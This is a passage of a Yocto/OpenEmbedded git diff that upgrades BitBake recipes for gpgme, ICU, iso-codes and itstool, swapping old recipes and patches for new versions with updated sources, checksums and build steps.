- file://0007-python-Add-variables-to-tests.patch \
- file://0008-do-not-auto-check-var-PYTHON.patch \
- "
-
-SRC_URI[md5sum] = "198f0a908ec3cd8f0ce9a4f3a4489645"
-SRC_URI[sha256sum] = "c4e30b227682374c23cddc7fdb9324a99694d907e79242a25a4deeedb393be46"
-
-DEPENDS = "libgpg-error libassuan"
-RDEPENDS_${PN}-cpp += "libstdc++"
-
-RDEPENDS_python2-gpg += "python-unixadmin"
-RDEPENDS_python3-gpg += "python3-unixadmin"
-
-BINCONFIG = "${bindir}/gpgme-config"
-
-# Note select python2 or python3, but you can't select both at the same time
-PACKAGECONFIG ??= "python3"
-PACKAGECONFIG[python2] = ",,python swig-native,"
-PACKAGECONFIG[python3] = ",,python3 swig-native,"
-
-# Default in configure.ac: "cl cpp python qt"
-# Supported: "cl cpp python python2 python3 qt"
-# python says 'search and find python2 or python3'
-
-# Building the C++ bindings for native requires a C++ compiler with C++11
-# support. Since these bindings are currently not needed, we can disable them.
-DEFAULT_LANGUAGES = ""
-DEFAULT_LANGUAGES_class-target = "cpp"
-LANGUAGES ?= "${DEFAULT_LANGUAGES} python"
-
-PYTHON_INHERIT = "${@bb.utils.contains('PACKAGECONFIG', 'python2', 'pythonnative', '', d)}"
-PYTHON_INHERIT .= "${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3native', '', d)}"
-
-EXTRA_OECONF += '--enable-languages="${LANGUAGES}" \
- --disable-gpgconf-test \
- --disable-gpg-test \
- --disable-gpgsm-test \
- --disable-g13-test \
- --disable-lang-python-test \
-'
-
-inherit autotools texinfo binconfig-disabled pkgconfig distutils-common-base ${PYTHON_INHERIT}
-
-export PKG_CONFIG='pkg-config'
-
-BBCLASSEXTEND = "native nativesdk"
-
-PACKAGES =+ "${PN}-cpp"
-PACKAGES =. "${@bb.utils.contains('PACKAGECONFIG', 'python2', 'python2-gpg ', '', d)}"
-PACKAGES =. "${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3-gpg ', '', d)}"
-
-FILES_${PN}-cpp = "${libdir}/libgpgmepp.so.*"
-FILES_python2-gpg = "${PYTHON_SITEPACKAGES_DIR}/*"
-FILES_python3-gpg = "${PYTHON_SITEPACKAGES_DIR}/*"
-FILES_${PN}-dev += "${datadir}/common-lisp/source/gpgme/* \
- ${libdir}/cmake/* \
-"
-
-CFLAGS_append_libc-musl = " -D__error_t_defined "
-do_configure_prepend () {
- # Else these could be used in preference to those in aclocal-copy
- rm -f ${S}/m4/gpg-error.m4
- rm -f ${S}/m4/libassuan.m4
- rm -f ${S}/m4/python.m4
-}
diff --git a/meta/recipes-support/gpgme/gpgme_1.17.1.bb b/meta/recipes-support/gpgme/gpgme_1.17.1.bb
new file mode 100644
index 0000000000..d95ed6c299
--- /dev/null
+++ b/meta/recipes-support/gpgme/gpgme_1.17.1.bb
@@ -0,0 +1,87 @@
+SUMMARY = "High-level GnuPG encryption/signing API"
+DESCRIPTION = "GnuPG Made Easy (GPGME) is a library designed to make access to GnuPG easier for applications. It provides a High-Level Crypto API for encryption, decryption, signing, signature verification and key management"
+HOMEPAGE = "http://www.gnupg.org/gpgme.html"
+BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
+
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
+ file://COPYING.LESSER;md5=bbb461211a33b134d42ed5ee802b37ff \
+ file://src/gpgme.h.in;endline=23;md5=2f0bf06d1c7dcb28532a9d0f94a7ca1d \
+ file://src/engine.h;endline=22;md5=4b6d8ba313d9b564cc4d4cfb1640af9d"
+
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/gpgme/${BP}.tar.bz2 \
+ file://0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch \
+ file://0001-pkgconfig.patch \
+ file://0002-gpgme-lang-python-gpg-error-config-should-not-be-use.patch \
+ file://0003-Correctly-install-python-modules.patch \
+ file://0004-python-import.patch \
+ file://0005-gpgme-config-skip-all-lib-or-usr-lib-directories-in-.patch \
+ file://0006-fix-build-path-issue.patch \
+ file://0007-python-Add-variables-to-tests.patch \
+ file://0008-do-not-auto-check-var-PYTHON.patch \
+ file://0001-use-closefrom-on-linux-and-glibc-2.34.patch \
+ "
+
+SRC_URI[sha256sum] = "711eabf5dd661b9b04be9edc9ace2a7bc031f6bd9d37a768d02d0efdef108f5f"
+
+DEPENDS = "libgpg-error libassuan"
+RDEPENDS:${PN}-cpp += "libstdc++"
+
+RDEPENDS:python2-gpg += "python-unixadmin"
+RDEPENDS:python3-gpg += "python3-unixadmin"
+
+BINCONFIG = "${bindir}/gpgme-config"
+
+# Note select python2 or python3, but you can't select both at the same time
+PACKAGECONFIG ??= "python3"
+PACKAGECONFIG[python2] = ",,python swig-native,"
+PACKAGECONFIG[python3] = ",,python3 swig-native,"
+
+# Default in configure.ac: "cl cpp python qt"
+# Supported: "cl cpp python python2 python3 qt"
+# python says 'search and find python2 or python3'
+
+# Building the C++ bindings for native requires a C++ compiler with C++11
+# support. Since these bindings are currently not needed, we can disable them.
+DEFAULT_LANGUAGES = ""
+DEFAULT_LANGUAGES:class-target = "cpp"
+LANGUAGES ?= "${DEFAULT_LANGUAGES} python"
+
+PYTHON_INHERIT = "${@bb.utils.contains('PACKAGECONFIG', 'python2', 'pythonnative', '', d)}"
+PYTHON_INHERIT .= "${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3native python3targetconfig', '', d)}"
+
+EXTRA_OECONF += '--enable-languages="${LANGUAGES}" \
+ --disable-gpgconf-test \
+ --disable-gpg-test \
+ --disable-gpgsm-test \
+ --disable-g13-test \
+ --disable-lang-python-test \
+'
+
+inherit autotools texinfo binconfig-disabled pkgconfig setuptools3-base ${PYTHON_INHERIT} multilib_header
+
+export PKG_CONFIG='pkg-config'
+
+BBCLASSEXTEND = "native nativesdk"
+
+PACKAGES =+ "${PN}-cpp"
+PACKAGES =. "${@bb.utils.contains('PACKAGECONFIG', 'python2', 'python2-gpg ', '', d)}"
+PACKAGES =. "${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3-gpg ', '', d)}"
+
+FILES:${PN}-cpp = "${libdir}/libgpgmepp.so.*"
+FILES:python2-gpg = "${PYTHON_SITEPACKAGES_DIR}/*"
+FILES:python3-gpg = "${PYTHON_SITEPACKAGES_DIR}/*"
+FILES:${PN}-dev += "${datadir}/common-lisp/source/gpgme/*"
+
+CFLAGS:append:libc-musl = " -D__error_t_defined "
+do_configure:prepend () {
+ # Else these could be used in preference to those in aclocal-copy
+ rm -f ${S}/m4/gpg-error.m4
+ rm -f ${S}/m4/libassuan.m4
+ rm -f ${S}/m4/python.m4
+}
+
+do_install:append() {
+ oe_multilib_header gpgme.h
+}
diff --git a/meta/recipes-support/icu/icu.inc b/meta/recipes-support/icu/icu.inc
deleted file mode 100644
index 6d9728903d..0000000000
--- a/meta/recipes-support/icu/icu.inc
+++ /dev/null
@@ -1,84 +0,0 @@
-SUMMARY = "International Component for Unicode libraries"
-DESCRIPTION = "The International Component for Unicode (ICU) is a mature, \
-portable set of C/C++ and Java libraries for Unicode support, software \
-internationalization (I18N) and globalization (G11N), giving applications the \
-same results on all platforms."
-HOMEPAGE = "http://site.icu-project.org/"
-
-LICENSE = "ICU"
-DEPENDS = "icu-native"
-DEPENDS_class-native = ""
-
-CVE_PRODUCT = "international_components_for_unicode"
-
-S = "${WORKDIR}/icu/source"
-SPDX_S = "${WORKDIR}/icu"
-STAGING_ICU_DIR_NATIVE = "${STAGING_DATADIR_NATIVE}/${BPN}/${PV}"
-
-BINCONFIG = "${bindir}/icu-config"
-
-ICU_MAJOR_VER = "${@d.getVar('PV').split('.')[0]}"
-
-inherit autotools pkgconfig binconfig multilib_script
-
-MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/icu-config"
-
-# ICU needs the native build directory as an argument to its --with-cross-build option when
-# cross-compiling. Taken the situation that different builds may share a common sstate-cache
-# into consideration, the native build directory needs to be staged.
-EXTRA_OECONF = "--with-cross-build=${STAGING_ICU_DIR_NATIVE}"
-EXTRA_OECONF_class-native = ""
-EXTRA_OECONF_class-nativesdk = "--with-cross-build=${STAGING_ICU_DIR_NATIVE}"
-
-EXTRA_OECONF_append_class-target = "${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'be', ' --with-data-packaging=archive', '', d)}"
-TARGET_CXXFLAGS_append = "${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'be', ' -DICU_DATA_DIR=\\""${datadir}/${BPN}/${PV}\\""', '', d)}"
-
-ASNEEDED = ""
-
-do_compile_prepend_class-target () {
- # Make sure certain build host references do not end up being compiled
- # in the image. This only affects libicutu and icu-dbg
- sed \
- -e 's,DU_BUILD=,DU_BUILD_unused=,g' \
- -e '/^CPPFLAGS.*/ s,--sysroot=${STAGING_DIR_TARGET},,g' \
- -i ${B}/tools/toolutil/Makefile
-}
-
-PREPROCESS_RELOCATE_DIRS = "${datadir}/${BPN}/${PV}"
-do_install_append_class-native() {
- mkdir -p ${D}/${STAGING_ICU_DIR_NATIVE}/config
- cp -r ${B}/config/icucross.mk ${D}/${STAGING_ICU_DIR_NATIVE}/config
- cp -r ${B}/config/icucross.inc ${D}/${STAGING_ICU_DIR_NATIVE}/config
- cp -r ${B}/lib ${D}/${STAGING_ICU_DIR_NATIVE}
- cp -r ${B}/bin ${D}/${STAGING_ICU_DIR_NATIVE}
- cp -r ${B}/tools ${D}/${STAGING_ICU_DIR_NATIVE}
-}
-
-do_install_append_class-target() {
- # The native pkgdata can not generate the correct data file.
- # Use icupkg to re-generate it.
- if [ "${SITEINFO_ENDIANNESS}" = "be" ] ; then
- rm -f ${D}/${datadir}/${BPN}/${PV}/icudt${ICU_MAJOR_VER}b.dat
- icupkg -tb ${S}/data/in/icudt${ICU_MAJOR_VER}l.dat ${D}/${datadir}/${BPN}/${PV}/icudt${ICU_MAJOR_VER}b.dat
- fi
-
- # Remove build host references...
- sed -i \
- -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- ${D}/${bindir}/icu-config ${D}/${libdir}/${BPN}/${PV}/Makefile.inc \
- ${D}/${libdir}/${BPN}/${PV}/pkgdata.inc
-}
-
-PACKAGES =+ "libicudata libicuuc libicui18n libicutu libicuio"
-
-FILES_${PN}-dev += "${libdir}/${BPN}/"
-
-FILES_libicudata = "${libdir}/libicudata.so.*"
-FILES_libicuuc = "${libdir}/libicuuc.so.*"
-FILES_libicui18n = "${libdir}/libicui18n.so.*"
-FILES_libicutu = "${libdir}/libicutu.so.*"
-FILES_libicuio = "${libdir}/libicuio.so.*"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/icu/icu/0001-Fix-big-endian-build.patch b/meta/recipes-support/icu/icu/0001-Fix-big-endian-build.patch
deleted file mode 100644
index efb27ae4e3..0000000000
--- a/meta/recipes-support/icu/icu/0001-Fix-big-endian-build.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 9be0b489a94b57419202c552022f25cb95bfac51 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 17 Apr 2019 16:41:58 +0200
-Subject: [PATCH] Fix big-endian build
-
-Bug-report: https://unicode-org.atlassian.net/browse/ICU-20533
-Patch taken from: https://bugs.gentoo.org/682170
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- data/Makefile.in | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/source/data/Makefile.in b/source/data/Makefile.in
-index 778b6c7..67203e7 100644
---- a/data/Makefile.in
-+++ b/data/Makefile.in
-@@ -148,7 +148,8 @@ ICUDATA_ARCHIVE = $(firstword $(wildcard $(srcdir)/in/$(ICUDATA_BASENAME_VERSION
- # and convert it to the current type.
- ifneq ($(ICUDATA_ARCHIVE),)
- ICUDATA_SOURCE_ARCHIVE = $(OUTDIR)/$(ICUDATA_PLATFORM_NAME).dat
--$(ICUDATA_SOURCE_ARCHIVE): $(ICUDATA_ARCHIVE) $(OUTDIR)
-+$(ICUDATA_SOURCE_ARCHIVE): $(ICUDATA_ARCHIVE)
-+ $(MKINSTALLDIRS) $(OUTDIR)
- $(INVOKE) $(TOOLBINDIR)/icupkg -t$(ICUDATA_CHAR) $(ICUDATA_ARCHIVE) $(ICUDATA_SOURCE_ARCHIVE)
- endif
- else
diff --git a/meta/recipes-support/icu/icu/0001-icu-Added-armeb-support.patch b/meta/recipes-support/icu/icu/0001-icu-Added-armeb-support.patch
index 299689d95c..578517b57f 100644
--- a/meta/recipes-support/icu/icu/0001-icu-Added-armeb-support.patch
+++ b/meta/recipes-support/icu/icu/0001-icu-Added-armeb-support.patch
@@ -1,4 +1,4 @@
-From 500321387ceca48934bb0f323779117cd518bab6 Mon Sep 17 00:00:00 2001
+From e3c25af4b40d64f098e7b8ae5a91fdc3c90163c4 Mon Sep 17 00:00:00 2001
From: Lei Maohui <leimaohui@cn.fujitsu.com>
Date: Wed, 8 May 2019 14:42:30 +0900
Subject: [PATCH] icu: Added armeb support.
@@ -8,15 +8,16 @@ Make icu support arm32 BE.
Upstream-Status: Pending
Signed-off-by: Lei Maohui <leimaohui@cn.fujitsu.com>
+
---
i18n/double-conversion-utils.h | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-diff --git a/i18n/double-conversion-utils.h b/i18n/double-conversion-utils.h
-index 1e44fca..e4f2a8b 100644
+diff --git a/source/i18n/double-conversion-utils.h b/source/i18n/double-conversion-utils.h
+index 7f23e0a..7f89094 100644
--- a/i18n/double-conversion-utils.h
+++ b/i18n/double-conversion-utils.h
-@@ -92,7 +92,7 @@ int main(int argc, char** argv) {
+@@ -115,7 +115,7 @@ int main(int argc, char** argv) {
//
// If it prints "correct" then the architecture should be here, in the "correct" section.
#if defined(_M_X64) || defined(__x86_64__) || \
@@ -24,7 +25,4 @@ index 1e44fca..e4f2a8b 100644
+ defined(__arm__) || defined(__avr32__) || defined(_M_ARM) || defined(_M_ARM64) || \
defined(__hppa__) || defined(__ia64__) || \
defined(__mips__) || \
- defined(__powerpc__) || defined(__ppc__) || defined(__ppc64__) || \
---
-2.7.4
-
+ defined(__loongarch__) || \
diff --git a/meta/recipes-support/icu/icu/filter.json b/meta/recipes-support/icu/icu/filter.json
new file mode 100644
index 0000000000..2c63c08510
--- /dev/null
+++ b/meta/recipes-support/icu/icu/filter.json
@@ -0,0 +1,2 @@
+{
+}
diff --git a/meta/recipes-support/icu/icu/icu-pkgdata-large-cmd.patch b/meta/recipes-support/icu/icu/icu-pkgdata-large-cmd.patch
deleted file mode 100644
index e758a623ef..0000000000
--- a/meta/recipes-support/icu/icu/icu-pkgdata-large-cmd.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-pkgdata.cpp: use LARGE_BUFFER_MAX_SIZE for cmd
-
-Use LARGE_BUFFER_MAX_SIZE for cmd rather than SMALL_BUFFER_MAX_SIZE,
-otherwise there was a Segmentation fault error when the command line is
-long, this should be a misplay since other cmd uses
-LARGE_BUFFER_MAX_SIZE.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
----
- tools/pkgdata/pkgdata.cpp | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/tools/pkgdata/pkgdata.cpp b/tools/pkgdata/pkgdata.cpp
-index 60167dd..506dd32 100644
---- a/tools/pkgdata/pkgdata.cpp
-+++ b/tools/pkgdata/pkgdata.cpp
-@@ -1084,7 +1084,7 @@ normal_symlink_mode:
-
- static int32_t pkg_installLibrary(const char *installDir, const char *targetDir, UBool noVersion) {
- int32_t result = 0;
-- char cmd[SMALL_BUFFER_MAX_SIZE];
-+ char cmd[LARGE_BUFFER_MAX_SIZE];
-
- sprintf(cmd, "cd %s && %s %s %s%s%s",
- targetDir,
-@@ -1152,7 +1152,7 @@ static int32_t pkg_installLibrary(const char *installDir, const char *targetDir,
-
- static int32_t pkg_installCommonMode(const char *installDir, const char *fileName) {
- int32_t result = 0;
-- char cmd[SMALL_BUFFER_MAX_SIZE] = "";
-+ char cmd[LARGE_BUFFER_MAX_SIZE] = "";
-
- if (!T_FileStream_file_exists(installDir)) {
- UErrorCode status = U_ZERO_ERROR;
-@@ -1184,7 +1184,7 @@ static int32_t pkg_installCommonMode(const char *installDir, const char *fileNam
- #endif
- static int32_t pkg_installFileMode(const char *installDir, const char *srcDir, const char *fileListName) {
- int32_t result = 0;
-- char cmd[SMALL_BUFFER_MAX_SIZE] = "";
-+ char cmd[LARGE_BUFFER_MAX_SIZE] = "";
-
- if (!T_FileStream_file_exists(installDir)) {
- UErrorCode status = U_ZERO_ERROR;
---
-1.9.1
-
diff --git a/meta/recipes-support/icu/icu_64.2.bb b/meta/recipes-support/icu/icu_64.2.bb
deleted file mode 100644
index 10bac7aac0..0000000000
--- a/meta/recipes-support/icu/icu_64.2.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-require icu.inc
-
-LIC_FILES_CHKSUM = "file://../LICENSE;md5=8bc5d32052a96f214cbdd1e53dfc935d"
-
-def icu_download_version(d):
- pvsplit = d.getVar('PV').split('.')
- return pvsplit[0] + "_" + pvsplit[1]
-
-ICU_PV = "${@icu_download_version(d)}"
-
-# http://errors.yoctoproject.org/Errors/Details/20486/
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-
-BASE_SRC_URI = "http://download.icu-project.org/files/icu4c/${PV}/icu4c-${ICU_PV}-src.tgz"
-SRC_URI = "${BASE_SRC_URI} \
- file://icu-pkgdata-large-cmd.patch \
- file://fix-install-manx.patch \
- file://0001-Fix-big-endian-build.patch \
- file://0001-icu-Added-armeb-support.patch \
- "
-
-SRC_URI_append_class-target = "\
- file://0001-Disable-LDFLAGSICUDT-for-Linux.patch \
- "
-SRC_URI[md5sum] = "a3d18213beec454e3cdec9a3116d6b05"
-SRC_URI[sha256sum] = "627d5d8478e6d96fc8c90fed4851239079a561a6a8b9e48b0892f24e82d31d6c"
-
-UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)/"
-UPSTREAM_CHECK_URI = "http://download.icu-project.org/files/icu4c/"
diff --git a/meta/recipes-support/icu/icu_70.1.bb b/meta/recipes-support/icu/icu_70.1.bb
new file mode 100644
index 0000000000..dd684fe5b9
--- /dev/null
+++ b/meta/recipes-support/icu/icu_70.1.bb
@@ -0,0 +1,150 @@
+SUMMARY = "International Component for Unicode libraries"
+DESCRIPTION = "The International Component for Unicode (ICU) is a mature, \
+portable set of C/C++ and Java libraries for Unicode support, software \
+internationalization (I18N) and globalization (G11N), giving applications the \
+same results on all platforms."
+HOMEPAGE = "http://site.icu-project.org/"
+
+LICENSE = "ICU"
+DEPENDS = "icu-native autoconf-archive"
+DEPENDS:class-native = "autoconf-archive-native"
+
+CVE_PRODUCT = "international_components_for_unicode"
+
+S = "${WORKDIR}/icu/source"
+SPDX_S = "${WORKDIR}/icu"
+STAGING_ICU_DIR_NATIVE = "${STAGING_DATADIR_NATIVE}/${BPN}/${PV}"
+
+BINCONFIG = "${bindir}/icu-config"
+
+ICU_MAJOR_VER = "${@d.getVar('PV').split('.')[0]}"
+
+inherit autotools pkgconfig binconfig multilib_script
+
+MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/icu-config"
+
+# ICU needs the native build directory as an argument to its --with-cross-build option when
+# cross-compiling. Taken the situation that different builds may share a common sstate-cache
+# into consideration, the native build directory needs to be staged.
+EXTRA_OECONF = "--with-cross-build=${STAGING_ICU_DIR_NATIVE}"
+EXTRA_OECONF:class-native = ""
+EXTRA_OECONF:class-nativesdk = "--with-cross-build=${STAGING_ICU_DIR_NATIVE}"
+
+EXTRA_OECONF:append:class-target = "${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'be', ' --with-data-packaging=archive', '', d)}"
+TARGET_CXXFLAGS:append = "${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'be', ' -DICU_DATA_DIR=\\""${datadir}/${BPN}/${PV}\\""', '', d)}"
+
+ASNEEDED = ""
+
+do_compile:prepend:class-target () {
+ # Make sure certain build host references do not end up being compiled
+ # in the image. This only affects libicutu and icu-dbg
+ sed \
+ -e 's,DU_BUILD=,DU_BUILD_unused=,g' \
+ -e '/^CPPFLAGS.*/ s,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -i ${B}/tools/toolutil/Makefile
+}
+
+PREPROCESS_RELOCATE_DIRS = "${datadir}/${BPN}/${PV}"
+do_install:append:class-native() {
+ mkdir -p ${D}/${STAGING_ICU_DIR_NATIVE}/config
+ cp -r ${B}/config/icucross.mk ${D}/${STAGING_ICU_DIR_NATIVE}/config
+ cp -r ${B}/config/icucross.inc ${D}/${STAGING_ICU_DIR_NATIVE}/config
+ cp -r ${B}/lib ${D}/${STAGING_ICU_DIR_NATIVE}
+ cp -r ${B}/bin ${D}/${STAGING_ICU_DIR_NATIVE}
+ cp -r ${B}/tools ${D}/${STAGING_ICU_DIR_NATIVE}
+}
+
+do_install:append:class-target() {
+ # The native pkgdata can not generate the correct data file.
+ # Use icupkg to re-generate it.
+ if [ "${SITEINFO_ENDIANNESS}" = "be" ] ; then
+ rm -f ${D}/${datadir}/${BPN}/${PV}/icudt${ICU_MAJOR_VER}b.dat
+ icupkg -tb ${S}/data/in/icudt${ICU_MAJOR_VER}l.dat ${D}/${datadir}/${BPN}/${PV}/icudt${ICU_MAJOR_VER}b.dat
+ fi
+
+ # Remove build host references...
+ sed -i \
+ -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ ${D}/${bindir}/icu-config ${D}/${libdir}/${BPN}/${PV}/Makefile.inc \
+ ${D}/${libdir}/${BPN}/${PV}/pkgdata.inc
+}
+
+PACKAGES =+ "libicudata libicuuc libicui18n libicutu libicuio"
+
+FILES:${PN}-dev += "${libdir}/${BPN}/"
+
+FILES:libicudata = "${libdir}/libicudata.so.*"
+FILES:libicuuc = "${libdir}/libicuuc.so.*"
+FILES:libicui18n = "${libdir}/libicui18n.so.*"
+FILES:libicutu = "${libdir}/libicutu.so.*"
+FILES:libicuio = "${libdir}/libicuio.so.*"
+
+BBCLASSEXTEND = "native nativesdk"
+
+LIC_FILES_CHKSUM = "file://../LICENSE;md5=dc9d616e558490c389609a0e8b81ae6d"
+
+def icu_download_version(d):
+ pvsplit = d.getVar('PV').split('.')
+ return pvsplit[0] + "_" + pvsplit[1]
+
+def icu_download_folder(d):
+ pvsplit = d.getVar('PV').split('.')
+ return pvsplit[0] + "-" + pvsplit[1]
+
+ICU_PV = "${@icu_download_version(d)}"
+ICU_FOLDER = "${@icu_download_folder(d)}"
+
+# http://errors.yoctoproject.org/Errors/Details/20486/
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+
+BASE_SRC_URI = "https://github.com/unicode-org/icu/releases/download/release-${ICU_FOLDER}/icu4c-${ICU_PV}-src.tgz"
+DATA_SRC_URI = "https://github.com/unicode-org/icu/releases/download/release-${ICU_FOLDER}/icu4c-${ICU_PV}-data.zip"
+SRC_URI = "${BASE_SRC_URI};name=code \
+ ${DATA_SRC_URI};name=data \
+ file://filter.json \
+ file://fix-install-manx.patch \
+ file://0001-icu-Added-armeb-support.patch \
+ "
+
+SRC_URI:append:class-target = "\
+ file://0001-Disable-LDFLAGSICUDT-for-Linux.patch \
+ "
+SRC_URI[code.sha256sum] = "8d205428c17bf13bb535300669ed28b338a157b1c01ae66d31d0d3e2d47c3fd5"
+SRC_URI[data.sha256sum] = "c72723ddba3300ffb231d6b09e2a728ea6e89de10ed5927f74bacbd77042336e"
+
+UPSTREAM_CHECK_REGEX = "icu4c-(?P<pver>\d+(_\d+)+)-src"
+UPSTREAM_CHECK_URI = "https://github.com/unicode-org/icu/releases"
+
+EXTRA_OECONF:append:libc-musl = " ac_cv_func_strtod_l=no"
+
+PACKAGECONFIG ?= ""
+PACKAGECONFIG[make-icudata] = ",,,"
+
+do_make_icudata:class-target () {
+ ${@bb.utils.contains('PACKAGECONFIG', 'make-icudata', '', 'exit 0', d)}
+ cd ${S}
+ rm -rf data
+ cp -a ${WORKDIR}/data .
+ AR='${BUILD_AR}' \
+ CC='${BUILD_CC}' \
+ CPP='${BUILD_CPP}' \
+ CXX='${BUILD_CXX}' \
+ RANLIB='${BUILD_RANLIB}' \
+ CFLAGS='${BUILD_CFLAGS}' \
+ CPPFLAGS='${BUILD_CPPFLAGS}' \
+ CXXFLAGS='${BUILD_CXXFLAGS}' \
+ LDFLAGS='${BUILD_LDFLAGS}' \
+ ICU_DATA_FILTER_FILE=${WORKDIR}/filter.json \
+ ./runConfigureICU Linux --with-data-packaging=archive
+ oe_runmake
+ install -Dm644 ${S}/data/out/icudt${ICU_MAJOR_VER}l.dat ${S}/data/in/icudt${ICU_MAJOR_VER}l.dat
+}
+
+do_make_icudata() {
+ :
+}
+
+addtask make_icudata before do_configure after do_patch do_prepare_recipe_sysroot
diff --git a/meta/recipes-support/iso-codes/iso-codes_4.4.bb b/meta/recipes-support/iso-codes/iso-codes_4.4.bb
deleted file mode 100644
index 332af025dd..0000000000
--- a/meta/recipes-support/iso-codes/iso-codes_4.4.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "ISO language, territory, currency, script codes and their translations"
-HOMEPAGE = "https://salsa.debian.org/iso-codes-team/iso-codes"
-BUGTRACKER = "https://salsa.debian.org/iso-codes-team/iso-codes/issues"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-SRC_URI = "git://salsa.debian.org/iso-codes-team/iso-codes.git;protocol=http"
-SRCREV = "38edb926592954b87eb527124da0ec68d2a748f3"
-
-# inherit gettext cannot be used, because it adds gettext-native to BASEDEPENDS which
-# are inhibited by allarch
-DEPENDS = "gettext-native"
-
-S = "${WORKDIR}/git"
-
-inherit allarch autotools
-
-FILES_${PN} += "${datadir}/xml/"
diff --git a/meta/recipes-support/iso-codes/iso-codes_4.9.0.bb b/meta/recipes-support/iso-codes/iso-codes_4.9.0.bb
new file mode 100644
index 0000000000..f51edf09a4
--- /dev/null
+++ b/meta/recipes-support/iso-codes/iso-codes_4.9.0.bb
@@ -0,0 +1,22 @@
+SUMMARY = "ISO language, territory, currency, script codes and their translations"
+DESCRIPTION = "Provides lists of various ISO standards (e.g. country, \
+language, language scripts, and currency names) in one place, rather \
+than repeated in many programs throughout the system."
+HOMEPAGE = "https://salsa.debian.org/iso-codes-team/iso-codes"
+BUGTRACKER = "https://salsa.debian.org/iso-codes-team/iso-codes/issues"
+
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI = "git://salsa.debian.org/iso-codes-team/iso-codes.git;protocol=https;branch=main;"
+SRCREV = "35ae2024024eb8e6603d3034dbbc406594f3874c"
+
+# inherit gettext cannot be used, because it adds gettext-native to BASEDEPENDS which
+# are inhibited by allarch
+DEPENDS = "gettext-native"
+
+S = "${WORKDIR}/git"
+
+inherit allarch autotools
+
+FILES:${PN} += "${datadir}/xml/"
diff --git a/meta/recipes-support/itstool/itstool/0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch b/meta/recipes-support/itstool/itstool/0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch
new file mode 100644
index 0000000000..fdcbe46fed
--- /dev/null
+++ b/meta/recipes-support/itstool/itstool/0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch
@@ -0,0 +1,33 @@
+From c47820450ce7f55d22c672cf94d20a5f9fd208bf Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@gmail.com>
+Date: Sun, 27 Oct 2019 16:38:52 +0100
+Subject: [PATCH] Native: Don't use build time hardcoded python binary path.
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+This is same patch as used for target build except that we do not use the
+'-S' and '-s' option because '-S' is relatively young [1] and elder build-host
+don't support it [2]
+
+[1] https://github.com/coreutils/coreutils/commit/668306ed86c8c79b0af0db8b9c882654ebb66db2#diff-83d9d52b1f12ac589739ab1334ae4f30
+[2] https://errors.yoctoproject.org/Errors/Details/274743/
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Andreas Müller <schnitzeltony@gmail.com>
+
+---
+ itstool.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/itstool.in b/itstool.in
+index c21ad4b..daea177 100755
+--- a/itstool.in
++++ b/itstool.in
+@@ -1,4 +1,4 @@
+-#!@PYTHON@ -s
++#!/usr/bin/env python3
+ #
+ # Copyright (c) 2010-2018 Shaun McCance <shaunm@gnome.org>
+ #
diff --git a/meta/recipes-support/itstool/itstool/0002-Don-t-use-build-time-hardcoded-python-binary-path.patch b/meta/recipes-support/itstool/itstool/0002-Don-t-use-build-time-hardcoded-python-binary-path.patch
new file mode 100644
index 0000000000..b91105330c
--- /dev/null
+++ b/meta/recipes-support/itstool/itstool/0002-Don-t-use-build-time-hardcoded-python-binary-path.patch
@@ -0,0 +1,29 @@
